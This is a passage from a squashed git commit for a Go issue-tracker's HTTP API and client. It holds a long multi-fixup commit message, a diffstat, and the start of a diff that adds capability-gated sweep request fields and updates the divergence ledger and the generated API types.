removed (a zero ceiling with a reason is a registry error) since every remaining gap is now a named waiver, PENDING or permanent as stated above, instead of a budgeted unnamed one. Also deletes the scratch zzz_dump_missing_test.go used to enumerate the ceiling during triage. Re-review fix: the shared conformance attribution case only asserts change_actor is non-empty (it runs across every leg, each with a different literal Mutate actor). The http fixture's own Mutate always sends Actor: "writer", so this leg's AttributionIsRecordedWithTheMutation subtest now also mutates a second, independent issue and asserts the recorded actor equals exactly "writer", in addition to the shared non-empty check. Co-Authored-By: Claude Sonnet 5 * fix(types): make ParseRevisionToken the exact inverse of FormatInt ParseRevisionToken's doc comment already promised it accepts exactly what RevisionToken emits, but strconv.ParseInt alone is looser than that: besides a leading "+" that FormatInt never produces, it also accepts a leading zero on a digit string longer than one character ("007") and the literal "-0" — none of which FormatInt ever emits (FormatInt(0, 10) is always "0", never "-0", and it never pads a digit run). A caller is only ever supposed to echo a token a response carried, so any of these is a client that invented a value rather than a server this client should follow; reject them explicitly instead of accepting them silently. Pins the string<->int64 boundary with TestParseRevisionTokenRejectsMalformedTokens, covering empty strings, fractional/exponent spellings, leading "+", surrounding whitespace, non-decimal bases, one-past-int64-boundary values, non-ASCII digits, and now "007", "-007" and "-0". Co-Authored-By: Claude Sonnet 5 * fixup(wireshape): guard widensAdditively against "no enum before" bee-ghosttrack / CHANGES_REQUESTED on #7251: widensAdditively required len(new.Enum) > len(old.Enum), which holds vacuously when the old side has no enum at all (a free `type: string`). That let a request-only member go from unconstrained to a fixed enum at the same wire_revision -- the opposite of widening, since the server now 400s a value an old client could send yesterday. Add the guard `len(old.Enum) == 0 || len(new.Enum) <= len(old.Enum) -> false` so the no-enum-before case falls through to the ordinary non-additive Changed path, same as a strict narrowing. Add a pinning case to TestEnumWideningAdditivity and extend the doc comment. Also reword the ExpectedRevision contract file comment from "runs ZERO assertions" to "SKIPS", per the reviewer's note that the Run* helpers t.Skip when CompareAndSetVersion is nil -- it's a skip, not an assertion-free run. Co-Authored-By: Claude Sonnet 5 * docs(httpclient): regenerate the divergence ledger after rebasing onto #7247's review fixes Co-Authored-By: Claude Opus 5.5 (1M context) * test(httpclient): Sweep Limit now refuses on the missing issues.sweep.limit capability #7247's review round pinned Sweep{Limit} as an encoder refusal. With S4 the wire carries limit behind issues.sweep.limit, so against a server without the token the refusal is a pre-dial capability refusal: still *storage.ErrUnsupported for this backend, now naming the capability. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpapi,httpclient): name the invalid_value refusal; add tests to Bazel Maintainer fixup for the review of #7251 (iteration 1). There are no blocker or major findings. This applies the three optional findings that both reviewers reported. - Eight comment and description sites added by this PR say that an older server refuses an unpublished `tier` (or S4) member with `unknown_value`. No such reason exists. The server refuses with ReasonInvalidValue = "invalid_value" (internal/httpapi/problem.go), and sweep.go uses it for a bad tier. The sites are in openapi.v0.yaml, apigen/types.gen.go (regenerated by `make api-gen`), routes.go, sweeper.go and wire/handshake.go. The base has none of them, so this only corrects the PR's own text. A client author now matches the token the server actually sends. - wire/handshake.go said the tier member carries no ledger row because it "narrows" an existing enum. Adding a value widens the accepted set, so the word is now "widens". - internal/httpclient/BUILD.bazel: add expected_revision_contract_test.go and served_dualwrite_history_test.go to the httpclient_test srcs. Both files are new in this PR. Without the entries, `go test` runs them but no Bazel lane compiles them. The srcs list now matches the package's files, and the existing deps already cover their imports. Provenance: this is the residue of the stranded fixup cad1cf02a2 from the previous adoption of this PR, replayed onto the current head. Its patch-id (b62e7d6d5562) is identical to that reviewed residue. That fixup's widensAdditively guard and SKIP-message nit are not repeated here. The author already landed both in b3f1516e55 (d41f317e0a after the rebase). Validation: git diff --check; make api-gen (no-op) and make api-check; go build, go vet and gofmt on internal/httpapi/... and internal/httpclient/...; go test for internal/httpclient/wire, internal/httpclient/encode and test/docsync; the httpclient Sweep* and TestExpectedRevisionContract tests; the served dual-write tests with BEADS_TEST_EMBEDDED_DOLT=1; and tools/bazel/go_srcs.py --check. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * docs(httpclient): regenerate the divergence ledger on main after #7247 merged Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpclient): give encode_test the httpclient tests its pin check reads Maintainer fixup for the pre-review CI of #7251. Bazel / test and Bazel / integration (PR run 37781419956) each fail one target, //internal/httpclient/encode:encode_test, which also fails CI Gate / Required. TestLedgerRowsAreWellFormed reports that rows W-SweepRequest.ProtectLiveDependents and W-SweepRequest.Limit are pinned by TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem, which is "neither a test in this package nor a TODO()". The pin is right. The test lives in internal/httpclient/bulk_roles_test.go. testFunctionsInThisPackage collects test names from ".", ".." and ../../../cmd/bd, but the data of encode_test declares only its own sources, //cmd/bd:go_srcs, the ledger doc and the OpenAPI spec. Under Bazel, ".." exists in the runfiles but holds no _test.go files, so the walk silently finds nothing there. go test reads the real directory and passes. This PR changes neither the walk nor the BUILD file. Every pin on main resolves from this package or cmd/bd, which is why main is green. These two rows are the only ones pinned to a test that exists only in internal/httpclient. The red stayed hidden until now because the PR sat on a stacked base. PR CI, including the Bazel lanes, runs only for PRs against main, release/** and hotfix/**. Declare //internal/httpclient:go_srcs as data, so Bazel sees the files that go test reads. The filegroup already exists with //:__subpackages__ visibility. The pins stay on the test that actually covers the S4 members. Validation: bazel test //internal/httpclient/encode:encode_test --config=ci --nocache_test_results, run two ways. In the local processwrapper sandbox (--remote_executor= --strategy=TestRunner=processwrapper-sandbox) the same command fails both rows without this change and passes with it. It also passes on the remote executor. Plus tools/bazel/go_srcs.py --check, gazelle -mode=diff on the package (no change), git diff --check, and go test ./internal/httpclient/encode/. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * fix(httpapi): pin the S4 sweep members at the wire edge, gate golden sides The `sides` map this change adds to golden.json predates schemas main gained since (#7248's BatchGetIssue*, BatchGetIssuesRequest* and BatchGetIssuesResult*, plus IssueDetails.gated_by[]), so the rebase left it 9 schemas short of what gendigest writes, and goldenDrift never compared Sides, so nothing noticed. Regenerated (+9 sides lines, no entry changes), and goldenDrift now fails with the regenerate instruction when the golden's sides disagree with a fresh digest; TestGoldenDrift drives that arm three ways. The SweepSkips description still called the first two buckets protections and the last four defenses, which filed the new live_dependent protection under the defenses. It now names pinned, referenced and live_dependent as the protections (apigen regenerated: the two comment copies only), and handleSweep's comment counts eight members. internal/httpapi's sweep pins stopped at the original six members: nothing there sent protect_live_dependents or limit, refused a mistyped one, or read live_dependent or remaining back. The forward, refuse and publish tests now cover all four, and TestSweepResponseCarriesEveryRoleField, named by sweepResponse's comment but never written, counts both projection levels and requires every wire field populated from a fully set role result. The httpclient Sweep defer comment described ProtectLiveDependents/Limit refusal paths this change replaced with capability gates; it now says why the pass-through defer stays. Validation: go test ./internal/httpapi/... ./internal/httpclient/... (CGO, gms_pure_go), the served sweeper tier with BEADS_TEST_EMBEDDED_DOLT=1 (19/19 pass, none skipped), make api-check, go vet, git diff --check, and bazel test --config=ci on httpapi_test, wireshape/..., httpclient_test, encode_test and types_gen_drift_test. Mutants, each restored: disabling the sides arm reds three TestGoldenDrift arms; the pre-fix golden reds TestWireShapeDigest naming the 9 schemas; dropping the live_dependent or remaining projection, the protect_live_dependents decode, or the limit assignment each reds its new pin. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 --- engdocs/design/http-divergence-ledger.md | 6 +- internal/httpapi/apigen/types.gen.go | 49 +++- internal/httpapi/routes.go | 35 ++- internal/httpapi/server_test.go | 3 +- internal/httpapi/spec/openapi.v0.yaml | 78 +++++- internal/httpapi/sweep.go | 38 ++- internal/httpapi/sweep_test.go | 75 +++++- .../httpapi/wireshape/testdata/golden.json | 172 ++++++++++++- internal/httpapi/wireshape/wireshape.go | 176 +++++++++++--- .../wireshape/wireshape_internal_test.go | 228 ++++++++++++++++++ internal/httpapi/wireshape/wireshape_test.go | 200 +++++++++++++-- internal/httpclient/BUILD.bazel | 2 + internal/httpclient/bulk_roles_test.go | 138 ++++++++++- internal/httpclient/encode/BUILD.bazel | 1 + internal/httpclient/encode/ledger.go | 34 +-- .../expected_revision_contract_test.go | 58 +++++ internal/httpclient/roles_test.go | 12 +- internal/httpclient/served_bulk_test.go | 41 ++++ .../httpclient/served_claim_lifecycle_test.go | 27 +++ .../served_dualwrite_history_test.go | 147 +++++++++++ internal/httpclient/sweeper.go | 102 +++++--- internal/httpclient/wire/handshake.go | 50 +++- internal/httpclient/wire/vocabulary_test.go | 17 +- internal/httpclient/write_ledger_test.go | 24 +- .../storage/contract_leg_registry_test.go | 22 +- internal/storage/leg_contract_wiring_test.go | 99 ++++++++ internal/types/types.go | 26 +- internal/types/types_test.go | 29 +++ 28 files changed, 1714 insertions(+), 175 deletions(-) create mode 100644 internal/httpclient/expected_revision_contract_test.go create mode 100644 internal/httpclient/served_dualwrite_history_test.go diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md index 0b6c4c931..78bbb101b 100644 --- a/engdocs/design/http-divergence-ledger.md +++ b/engdocs/design/http-divergence-ledger.md @@ -47,7 +47,7 @@ the behavior. ## Summary -264 rows: 209 refuse, 33 degrade, 22 retired. +264 rows: 207 refuse, 33 degrade, 24 retired. ## Whole-behavior divergences (D9 ledger) @@ -138,8 +138,8 @@ Role-request fields on the served writes that the v0 wire publishes no member fo | W-DepAddItem.ThreadID | refuse | `DepAddItem.ThreadID` | associating an edge ITEM with a discussion thread refuses | ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-CloseBatchRequest.ClaimNext | refuse | `CloseBatchRequest.ClaimNext` | folding an atomic claim-after-close onto a batch close refuses | batchCloseIssues publishes actor, force, items and session only — no claim_next member exists for this client to encode a ReadyRequest into, and none exists on the response for a claimed issue to decode back out of. Dropping the field silently would answer a caller's claim-after-close with a close that quietly never claimed anything; see W-CreateBatchRequest.Provenance for the same refuse-not-drop reasoning applied to an absent wire member. Deferred: S13 schedules ReadyLister (and with it, the ready-side plumbing a composed claim would need); no slice currently schedules claim_next itself | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| W-SweepRequest.ProtectLiveDependents | refuse | `SweepRequest.ProtectLiveDependents` | protecting live structural dependents during a sweep refuses | sweepIssues publishes dry_run, tier, closed_before, pattern, protect_referenced and actor only; no protect_live_dependents member exists for this client to send, and the server has no stored-edge lookup to run on this client's behalf. `bd purge` from a local workspace still gets the protection; over http it must ask without it or not at all | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| W-SweepRequest.Limit | refuse | `SweepRequest.Limit` | bounding one sweep call and draining a backlog over several refuses | sweepIssues publishes no limit member and SweepResult publishes no remaining member for a bounded caller to loop on; a non-zero Limit refuses before the dial rather than running the unbounded sweep silently. issueops.SweepResult.Remaining is therefore always zero from this client — not a dropped count, since nothing bounded the call that would have left one | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-SweepRequest.ProtectLiveDependents | retired | `SweepRequest.ProtectLiveDependents` | protecting live structural dependents during a sweep used to refuse | RETIRED by the S4 wire extension that sends it. The gap was always the DOCUMENT's rather than a decision: the local Sweeper role carries a structural-dependent protection alongside the referenced-citation one, and apigen.SweepRequest had no protect_live_dependents member for this client to narrow onto, so sending `true` and silently dropping it would have run an UNPROTECTED sweep while the caller believed the structural guard was active. The spec now publishes `protect_live_dependents` (and SweepSkips.live_dependent on the response) behind its own behavior-capability token, issues.sweep.liveDependents, because it is a parameter added to an operation that already shipped. The client sends it only once the handshake advertises the token and refuses locally, before the dial, when it does not — see refuseUnservedSweep (sweeper.go) and W-SweepRequest.Limit for the sibling member closed the same way | D8 refuse-not-drop | TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem | +| W-SweepRequest.Limit | retired | `SweepRequest.Limit` | bounding one sweep call and draining a backlog over several used to refuse | RETIRED by the S4 wire extension that sends it (with W-SweepRequest.ProtectLiveDependents). The local Sweeper role bounds one sweep call and reports the remainder back; apigen.SweepRequest and SweepResult carried neither a limit member to send nor a remaining member to read one back from, so a dropped Limit would have run the UNBOUNDED sweep the caller asked to cap, in one transaction. The spec now publishes `limit` on the request and `remaining` on the response behind issues.sweep.limit. The client sends Limit only once the handshake advertises that token and refuses locally otherwise; issueops.SweepResult.Remaining now carries the server's count rather than always reading zero | D8 refuse-not-drop | TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem | ## Command and flag refusals (D7) diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 9cf8b8868..f5cecef32 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -81,8 +81,9 @@ func (e HealthStatus) Valid() bool { // Defines values for SweepRequestTier. const ( - Durable SweepRequestTier = "durable" - Ephemeral SweepRequestTier = "ephemeral" + Durable SweepRequestTier = "durable" + Ephemeral SweepRequestTier = "ephemeral" + WispsPlane SweepRequestTier = "wisps-plane" ) // Valid indicates whether the value is a known member of the SweepRequestTier enum. @@ -92,6 +93,8 @@ func (e SweepRequestTier) Valid() bool { return true case Ephemeral: return true + case WispsPlane: + return true default: return false } @@ -1034,7 +1037,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, and `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1074,7 +1077,25 @@ type ContextResponse struct { // had moved underneath it. That silent gap is the whole reason // this field exists. // * `2` — the first release whose `ContextResponse` carries - // `wire_revision` and `min_client_wire_revision` at all (this one). + // `wire_revision` and `min_client_wire_revision` at all. Still + // current: S4 widened `SweepRequest.tier`'s enum to add + // `wisps-plane` and added `protect_live_dependents` and `limit` + // alongside it, and none of the three bumped this counter. + // `SweepRequest` is a REQUEST-body-only schema — no response ever + // carries it — so nothing decodes it out of a server reply; the + // new enum member and the two new fields are each something only + // an UPDATED CLIENT chooses to send, behind their own behavior + // tokens (`issues.sweep.wispsPlane`, `issues.sweep.liveDependents`, + // `issues.sweep.limit`). An old client that never sends any of the + // three has nothing to misdecode, which is exactly the additive + // case this field exists to NOT gate. The wireshape drift gate + // (`internal/httpapi/wireshape`) tracks, per member, whether it is + // reachable from a request body, a response, or both, and treats + // an enum WIDENING as additive only on a request-only member — + // the identical widening on a response-side (or request+response) + // member still counts as changed and still demands a bump, since + // an existing client decoding a response must keep recognizing + // every value the server might send it. // // // PRESENCE, not just value: a generated client whose JSON decoder zero-values a missing integer field cannot tell, by looking at a decoded `0` alone, whether the server SENT `0` or sent nothing. This is never actually ambiguous in practice, because `0` and `1` are PERMANENTLY RETIRED values — they describe servers that predate this field or carried the brief interim string shape, and no server that implements this field (`CurrentWireRevision` starts at `2` and only increases) will ever legitimately send a literal `0` or `1`. A decoded `0` can therefore only mean "this server omitted the field," and a client inferring from `bd_version` per the paragraph below is doing exactly the right thing in that case, never guessing at a value the field could have meant on its own. A client that wants presence as a first-class fact rather than an inference anyway should decode `wire_revision` into a nullable type, or check for the JSON key's presence directly, instead of relying on this retirement guarantee. @@ -1937,9 +1958,15 @@ type SweepRequest struct { // DryRun Report what the sweep WOULD do and delete nothing. The counts, the skips and the refusals are the same ones the real sweep would produce, computed against the same snapshot — and nothing is recorded in history either. DryRun *bool `json:"dry_run,omitempty"` + // Limit Cap how many beads this sweep deletes, OLDEST-CLOSED-FIRST. Absent or zero means unbounded. A negative value is a `400` invalid_argument, the same as the role's own ErrValidation. Behind the `issues.sweep.limit` behavior token: an older server answers `unknown_parameter` for this name. + Limit *int64 `json:"limit,omitempty"` + // Pattern Keep only beads whose id matches this shell glob (`*`, `?`, `[...]`, `\` escapes; `*` also crosses `-` and `.`, since an id is not a path). Absent matches every bead in the tier. A MALFORMED glob is a `400`, never a pattern that matches nothing. Pattern *string `json:"pattern,omitempty"` + // ProtectLiveDependents Skip a closed candidate that a LIVE (not-done) bead depends on through a parent/child, tracks, or blocks edge, so closing a dependent's dependency does not erase the row a live bead still points at. Protection is TRANSITIVE and crosses the ephemeral/durable plane boundary. Behind the `issues.sweep.liveDependents` behavior token: an older server answers `unknown_parameter` for this name. + ProtectLiveDependents *bool `json:"protect_live_dependents,omitempty"` + // ProtectReferenced Skip candidates whose id is CITED — as a literal, at word boundaries — in the description, notes or comments of any bead that is not done, so a decision trail a live bead still points at is not deleted out from under it. // // It DEFAULTS ON here, unlike the library default, and that is deliberate. This is the only destructive operation on the surface, and the bearer a deployment may configure is not a per-caller right: one shared token admits a client to everything published here, so being authenticated says nothing about whether this particular deletion was meant. A caller that omits the member must therefore not get weaker protection than the operator typing `bd prune`, which protects unless `--ignore-references`. The inverse — opt OUT locally, opt IN remotely — is the shape that lets a stray request delete a decision trail nothing brings back. @@ -1948,10 +1975,14 @@ type SweepRequest struct { ProtectReferenced *bool `json:"protect_referenced,omitempty"` // Tier Which plane to clear. `ephemeral` is the wisp tier (`bd purge`) and `durable` is the issue tier (`bd prune`). The two are DISJOINT: a sweep of one can never touch a bead of the other. Required, with no default — a caller handed the wrong tier has nothing to notice until the beads are gone. + // + // `wisps-plane` is a THIRD, wider tier: it clears the whole wisps table (ephemeral beads) AND any durable bead with no history row, in one pass. Behind the `issues.sweep.wispsPlane` behavior token: an older server answers `invalid_value` for this member, since it predates the token and knows only the first two values. Tier SweepRequestTier `json:"tier"` } // SweepRequestTier Which plane to clear. `ephemeral` is the wisp tier (`bd purge`) and `durable` is the issue tier (`bd prune`). The two are DISJOINT: a sweep of one can never touch a bead of the other. Required, with no default — a caller handed the wrong tier has nothing to notice until the beads are gone. +// +// `wisps-plane` is a THIRD, wider tier: it clears the whole wisps table (ephemeral beads) AND any durable bead with no history row, in one pass. Behind the `issues.sweep.wispsPlane` behavior token: an older server answers `invalid_value` for this member, since it predates the token and knows only the first two values. type SweepRequestTier string // SweepResult What one sweep did. Every number describes the SAME snapshot, because the selection and the deletion ran in one transaction. @@ -1973,18 +2004,24 @@ type SweepResult struct { // ReferencedIds A BOUNDED SAMPLE of the ids `skipped.referenced` counts — at most 100, in the order the candidate query returned them. It is a sample, not the set: compare its length against 100 to tell a truncated one from a complete one. Absent when nothing was protected. ReferencedIds *[]string `json:"referenced_ids,omitempty"` - // Skipped The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different things: the first two are PROTECTIONS, and the last four are the sweep declining to trust its own input. + // Remaining How many beads this sweep's own selection left unswept because `limit` cut it off, oldest-closed-first. Always 0 when `limit` was absent, zero, or at least as large as the matching set — never a dropped count, a 0 here means nothing was left over. Present only behind the `issues.sweep.limit` behavior token. + Remaining *int64 `json:"remaining,omitempty"` + + // Skipped The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different things: `pinned`, `referenced` and `live_dependent` are PROTECTIONS, and the other four are the sweep declining to trust its own input. Skipped SweepSkips `json:"skipped"` // Swept How many beads were deleted, or under `dry_run` would be. Swept int `json:"swept"` } -// SweepSkips The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different things: the first two are PROTECTIONS, and the last four are the sweep declining to trust its own input. +// SweepSkips The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different things: `pinned`, `referenced` and `live_dependent` are PROTECTIONS, and the other four are the sweep declining to trust its own input. type SweepSkips struct { // ClosedAtOrAfterCutoff Candidates whose close timestamp did not satisfy `closed_before`. See `not_closed`. ClosedAtOrAfterCutoff int `json:"closed_at_or_after_cutoff"` + // LiveDependent Candidates protected by `protect_live_dependents`. Always 0 when that member is false or absent. Present only behind the `issues.sweep.liveDependents` behavior token. + LiveDependent *int `json:"live_dependent,omitempty"` + // NotClosed Candidates the tier query returned that the recheck found were not closed. A NON-ZERO VALUE HERE IS A DEFENSE FIRING, not a normal outcome: the query asked for exactly the beads this excludes. NotClosed int `json:"not_closed"` diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 0aa93b109..2dbd4f291 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -119,6 +119,36 @@ const CapIssuesListSort = "issues.list.sort" // count. const CapIssuesCountScope = "issues.count.scope" +// CapIssuesSweepWispsPlane is the behavior capability that advertises the +// `wisps-plane` value of SweepRequest.tier (sweep.go, spec SweepRequest.tier): +// a third, wider tier that clears the whole wisps table plus any durable bead +// with no history row, in one pass (issueops.SweepWispsPlane). An older +// server predating this token answers the value with a `400 +// invalid_argument`/`invalid_value` naming the member, the same per-value +// refusal CapIssuesCountScope's doc describes for a whole parameter. The +// client MUST check this token before sending `tier: "wisps-plane"` to a +// server that may predate it. +const CapIssuesSweepWispsPlane = "issues.sweep.wispsPlane" + +// CapIssuesSweepLiveDependents is the behavior capability that advertises +// SweepRequest.protect_live_dependents and the paired SweepSkips.live_dependent +// response member (sweep.go): skip a closed candidate a live bead still +// depends on, transitively, across the ephemeral/durable plane boundary +// (issueops.SweepRequest.ProtectLiveDependents). An older server predating +// this token answers the request member with `400 +// invalid_argument`/`unknown_parameter`. The client MUST check this token +// before sending the member to a server that may predate it. +const CapIssuesSweepLiveDependents = "issues.sweep.liveDependents" + +// CapIssuesSweepLimit is the behavior capability that advertises +// SweepRequest.limit and the paired SweepResult.remaining response member +// (sweep.go): cap how many beads one sweep deletes, oldest-closed-first +// (issueops.SweepRequest.Limit / SweepResult.Remaining). An older server +// predating this token answers the request member with `400 +// invalid_argument`/`unknown_parameter`. The client MUST check this token +// before sending the member to a server that may predate it. +const CapIssuesSweepLimit = "issues.sweep.limit" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -866,7 +896,10 @@ func (r route) specPathOf() string { // route. project.enforce announces per-request Bd-Project-Id enforcement // (checkProjectStamp): a stamped client reads it to know the refusal is available // rather than silently dropped by an older server. -var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope} +var behaviorCapabilities = []string{ + CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, + CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, +} // Capabilities lists what this build advertises in ContextResponse.capabilities: // the operations it actually implements, gated on `implemented` so a stub can diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 291c7fdf2..514190e91 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -635,7 +635,8 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // them; project.enforce and issues.batchApplyLarge are advertised in the // same list. Both are spelled literally here to keep this an independent // oracle rather than a second call to the code under test. - want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope") + want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", + "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index ba3404224..784f24f22 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -7962,7 +7962,16 @@ components: `issues.count.scope`, which announces that `GET 